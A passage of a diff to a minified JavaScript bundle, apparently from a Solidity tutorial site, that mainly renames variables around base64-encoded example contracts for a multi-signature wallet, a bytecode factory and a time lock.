mVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oYWRkcmVzcyBfdG8sIHVpbnQyNTYgX3ZhbHVlLCBieXRlcyBtZW1vcnkgX2RhdGEpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgdWludDI1NiB0eEluZGV4ID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKCiAgICAgICAgdHJhbnNhY3Rpb25zLnB1c2goCiAgICAgICAgICAgIFRyYW5zYWN0aW9uKHsKICAgICAgICAgICAgICAgIHRvOiBfdG8sCiAgICAgICAgICAgICAgICB2YWx1ZTogX3ZhbHVlLAogICAgICAgICAgICAgICAgZGF0YTogX2RhdGEsCiAgICAgICAgICAgICAgICBleGVjdXRlZDogZmFsc2UsCiAgICAgICAgICAgICAgICBudW1Db25maXJtYXRpb25zOiAwCiAgICAgICAgICAgIH0pCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBTdWJtaXRUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCB0eEluZGV4LCBfdG8sIF92YWx1ZSwgX2RhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgICAgIG5vdENvbmZpcm1lZChfdHhJbmRleCkKICAgIHsKICAgICAgICBUcmFuc2FjdGlvbiBzdG9yYWdlIHRyYW5zYWN0aW9uID0gdHJhbnNhY3Rpb25zW190eEluZGV4XTsKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zICs9IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gdHJ1ZTsKCiAgICAgICAgZW1pdCBDb25maXJtVHJhbnNhY3Rpb24obXNnLnNlbmRlciwgX3R4SW5kZXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGVUcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0KICAgICAgICAgICAgdHJhbnNhY3Rpb24udG8uY2FsbHt2YWx1ZTogdHJhbnNhY3Rpb24udmFsdWV9KHRyYW5zYWN0aW9uLmRhdGEpOwogICAgICAgIHJlcXVpcmUoc3VjY2VzcywgInR4IGZhaWxlZCIpOwoKICAgICAgICBlbWl0IEV4ZWN1dGVUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV2b2tlQ29uZmlybWF0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdHhFeGlzdHMoX3R4SW5kZXgpCiAgICAgICAgbm90RXhlY3V0ZWQoX3R4SW5kZXgpCiAgICB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CgogICAgICAgIHJlcXVpcmUoaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggbm90IGNvbmZpcm1lZCIpOwoKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zIC09IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gZmFsc2U7CgogICAgICAgIGVtaXQgUmV2b2tlQ29uZmlybWF0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRPd25lcnMoKSBwdWJsaWMgdmlldyByZXR1cm5zIChhZGRyZXNzW10gbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG93bmVyczsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbkNvdW50KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFRyYW5zYWN0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50MjU2IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50MjU2IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],su=`

            Let's create an multi-sig wallet. Here are the specifications.

            +`,_A=({prev:s,next:a})=>r.jsx(A,{version:DA,title:EA,description:QA,html:UA,prev:s,next:a,codes:TA}),LA="0.8.24",OA="Multi-Sig Wallet",PA="An example of multi-sig wallet in Solidity",$A=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQsIHVpbnQyNTYgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgdWludDI1NiBpbmRleGVkIHR4SW5kZXgsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgYnl0ZXMgZGF0YQogICAgKTsKICAgIGV2ZW50IENvbmZpcm1UcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IFJldm9rZUNvbmZpcm1hdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IEV4ZWN1dGVUcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKCiAgICBhZGRyZXNzW10gcHVibGljIG93bmVyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNPd25lcjsKICAgIHVpbnQyNTYgcHVibGljIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZDsKCiAgICBzdHJ1Y3QgVHJhbnNhY3Rpb24gewogICAgICAgIGFkZHJlc3MgdG87CiAgICAgICAgdWludDI1NiB2YWx1ZTsKICAgICAgICBieXRlcyBkYXRhOwogICAgICAgIGJvb2wgZXhlY3V0ZWQ7CiAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zOwogICAgfQoKICAgIC8vIG1hcHBpbmcgZnJvbSB0eCBpbmRleCA9PiBvd25lciA9PiBib29sCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpKSBwdWJsaWMgaXNDb25maXJtZWQ7CgogICAgVHJhbnNhY3Rpb25bXSBwdWJsaWMgdHJhbnNhY3Rpb25zOwoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKGlzT3duZXJbbXNnLnNlbmRlcl0sICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIHR4RXhpc3RzKHVpbnQyNTYgX3R4SW5kZXgpIHsKICAgICAgICByZXF1aXJlKF90eEluZGV4IDwgdHJhbnNhY3Rpb25zLmxlbmd0aCwgInR4IGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciBub3RFeGVjdXRlZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludDI1NiBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMAogICAgICAgICAgICAgICAgJiYgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oYWRkcmVzcyBfdG8sIHVpbnQyNTYgX3ZhbHVlLCBieXRlcyBtZW1vcnkgX2RhdGEpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgdWludDI1NiB0eEluZGV4ID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKCiAgICAgICAgdHJhbnNhY3Rpb25zLnB1c2goCiAgICAgICAgICAgIFRyYW5zYWN0aW9uKHsKICAgICAgICAgICAgICAgIHRvOiBfdG8sCiAgICAgICAgICAgICAgICB2YWx1ZTogX3ZhbHVlLAogICAgICAgICAgICAgICAgZGF0YTogX2RhdGEsCiAgICAgICAgICAgICAgICBleGVjdXRlZDogZmFsc2UsCiAgICAgICAgICAgICAgICBudW1Db25maXJtYXRpb25zOiAwCiAgICAgICAgICAgIH0pCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBTdWJtaXRUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCB0eEluZGV4LCBfdG8sIF92YWx1ZSwgX2RhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgICAgIG5vdENvbmZpcm1lZChfdHhJbmRleCkKICAgIHsKICAgICAgICBUcmFuc2FjdGlvbiBzdG9yYWdlIHRyYW5zYWN0aW9uID0gdHJhbnNhY3Rpb25zW190eEluZGV4XTsKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zICs9IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gdHJ1ZTsKCiAgICAgICAgZW1pdCBDb25maXJtVHJhbnNhY3Rpb24obXNnLnNlbmRlciwgX3R4SW5kZXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGVUcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0KICAgICAgICAgICAgdHJhbnNhY3Rpb24udG8uY2FsbHt2YWx1ZTogdHJhbnNhY3Rpb24udmFsdWV9KHRyYW5zYWN0aW9uLmRhdGEpOwogICAgICAgIHJlcXVpcmUoc3VjY2VzcywgInR4IGZhaWxlZCIpOwoKICAgICAgICBlbWl0IEV4ZWN1dGVUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV2b2tlQ29uZmlybWF0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdHhFeGlzdHMoX3R4SW5kZXgpCiAgICAgICAgbm90RXhlY3V0ZWQoX3R4SW5kZXgpCiAgICB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CgogICAgICAgIHJlcXVpcmUoaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggbm90IGNvbmZpcm1lZCIpOwoKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zIC09IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gZmFsc2U7CgogICAgICAgIGVtaXQgUmV2b2tlQ29uZmlybWF0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRPd25lcnMoKSBwdWJsaWMgdmlldyByZXR1cm5zIChhZGRyZXNzW10gbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG93bmVyczsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbkNvdW50KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFRyYW5zYWN0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50MjU2IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50MjU2IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],qA=`

            Let's create an multi-sig wallet. Here are the specifications.

            The wallet owners can

            • submit a transaction
              • @@ -2762,7 +2762,7 @@ How to swap tokens return abi.encodeWithSignature("callMe(uint256)", 123); } } -`,au=({prev:s,next:a})=>r.jsx(A,{version:OA,title:PA,description:$A,html:su,prev:s,next:a,codes:qA}),nu="0.8.24",lu="Simple Bytecode Contract",pu="Simple example of contract written in bytecode",eu=[{fileName:"Factory.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgMjU1CiAgICBmdW5jdGlvbiBkZXBsb3koKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gaGV4IjY5NjBmZjYwMDA1MjYwMjA2MDAwZjM2MDAwNTI2MDBhNjAxNmYzIjsKICAgICAgICBhZGRyZXNzIGFkZHI7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBjcmVhdGUodmFsdWUsIG9mZnNldCwgc2l6ZSkKICAgICAgICAgICAgYWRkciA6PSBjcmVhdGUoMCwgYWRkKGJ5dGVjb2RlLCAweDIwKSwgMHgxMykKICAgICAgICB9CiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCkpOwoKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKaW50ZXJmYWNlIElDb250cmFjdCB7CiAgICBmdW5jdGlvbiBnZXRWYWx1ZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7Cn0KCi8vIGh0dHBzOi8vd3d3LmV2bS5jb2Rlcy9wbGF5Z3JvdW5kCi8qClJ1biB0aW1lIGNvZGUgLSByZXR1cm4gMjU1CjYwZmY2MDAwNTI2MDIwNjAwMGYzCgovLyBTdG9yZSAyNTUgdG8gbWVtb3J5Cm1zdG9yZShwLCB2KSAtIHN0b3JlIHYgYXQgbWVtb3J5IHAgdG8gcCArIDMyCgpQVVNIMSAweGZmClBVU0gxIDAKTVNUT1JFCgovLyBSZXR1cm4gMzIgYnl0ZXMgZnJvbSBtZW1vcnkKcmV0dXJuKHAsIHMpIC0gZW5kIGV4ZWN1dGlvbiBhbmQgcmV0dXJuIGRhdGEgZnJvbSBtZW1vcnkgcCB0byBwICsgcwoKUFVTSDEgMHgyMApQVVNIMSAwClJFVFVSTgoKQ3JlYXRpb24gY29kZSAtIHJldHVybiBydW50aW1lIGNvZGUKNjk2MGZmNjAwMDUyNjAyMDYwMDBmMzYwMDA1MjYwMGE2MDE2ZjMKCi8vIFN0b3JlIHJ1biB0aW1lIGNvZGUgdG8gbWVtb3J5ClBVU0gxMCAwWDYwZmY2MDAwNTI2MDIwNjAwMGYzClBVU0gxIDAKTVNUT1JFCgovLyBSZXR1cm4gMTAgYnl0ZXMgZnJvbSBtZW1vcnkgc3RhcnRpbmcgYXQgb2Zmc2V0IDIyClBVU0gxIDB4MGEKUFVTSDEgMHgxNgpSRVRVUk4KKi8K"}],cu=`

              Simple example of contract written in bytecode

              +`,su=({prev:s,next:a})=>r.jsx(A,{version:LA,title:OA,description:PA,html:qA,prev:s,next:a,codes:$A}),au="0.8.24",nu="Simple Bytecode Contract",lu="Simple example of contract written in bytecode",pu=[{fileName:"Factory.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgMjU1CiAgICBmdW5jdGlvbiBkZXBsb3koKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gaGV4IjY5NjBmZjYwMDA1MjYwMjA2MDAwZjM2MDAwNTI2MDBhNjAxNmYzIjsKICAgICAgICBhZGRyZXNzIGFkZHI7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBjcmVhdGUodmFsdWUsIG9mZnNldCwgc2l6ZSkKICAgICAgICAgICAgYWRkciA6PSBjcmVhdGUoMCwgYWRkKGJ5dGVjb2RlLCAweDIwKSwgMHgxMykKICAgICAgICB9CiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCkpOwoKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKaW50ZXJmYWNlIElDb250cmFjdCB7CiAgICBmdW5jdGlvbiBnZXRWYWx1ZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7Cn0KCi8vIGh0dHBzOi8vd3d3LmV2bS5jb2Rlcy9wbGF5Z3JvdW5kCi8qClJ1biB0aW1lIGNvZGUgLSByZXR1cm4gMjU1CjYwZmY2MDAwNTI2MDIwNjAwMGYzCgovLyBTdG9yZSAyNTUgdG8gbWVtb3J5Cm1zdG9yZShwLCB2KSAtIHN0b3JlIHYgYXQgbWVtb3J5IHAgdG8gcCArIDMyCgpQVVNIMSAweGZmClBVU0gxIDAKTVNUT1JFCgovLyBSZXR1cm4gMzIgYnl0ZXMgZnJvbSBtZW1vcnkKcmV0dXJuKHAsIHMpIC0gZW5kIGV4ZWN1dGlvbiBhbmQgcmV0dXJuIGRhdGEgZnJvbSBtZW1vcnkgcCB0byBwICsgcwoKUFVTSDEgMHgyMApQVVNIMSAwClJFVFVSTgoKQ3JlYXRpb24gY29kZSAtIHJldHVybiBydW50aW1lIGNvZGUKNjk2MGZmNjAwMDUyNjAyMDYwMDBmMzYwMDA1MjYwMGE2MDE2ZjMKCi8vIFN0b3JlIHJ1biB0aW1lIGNvZGUgdG8gbWVtb3J5ClBVU0gxMCAwWDYwZmY2MDAwNTI2MDIwNjAwMGYzClBVU0gxIDAKTVNUT1JFCgovLyBSZXR1cm4gMTAgYnl0ZXMgZnJvbSBtZW1vcnkgc3RhcnRpbmcgYXQgb2Zmc2V0IDIyClBVU0gxIDB4MGEKUFVTSDEgMHgxNgpSRVRVUk4KKi8K"}],eu=`

              Simple example of contract written in bytecode

              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2819,7 +2819,7 @@ PUSH1 0x0a
 PUSH1 0x16
 RETURN
 */
-
              `,tu=({prev:s,next:a})=>r.jsx(A,{version:nu,title:lu,description:pu,html:cu,prev:s,next:a,codes:eu}),ou="0.8.24",ru="Time Lock",iu="Time Lock",gu=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQyNTYgYmxvY2tUaW1lc3RhbXAsIHVpbnQyNTYgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50MjU2IGJsb2NrVGltZXN0bWFwLCB1aW50MjU2IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludDI1NiBibG9ja1RpbWVzdGFtcCwgdWludDI1NiBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQyNTYgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgc3RyaW5nIGZ1bmMsCiAgICAgICAgYnl0ZXMgZGF0YSwKICAgICAgICB1aW50MjU2IHRpbWVzdGFtcAogICAgKTsKICAgIGV2ZW50IENhbmNlbChieXRlczMyIGluZGV4ZWQgdHhJZCk7CgogICAgdWludDI1NiBwdW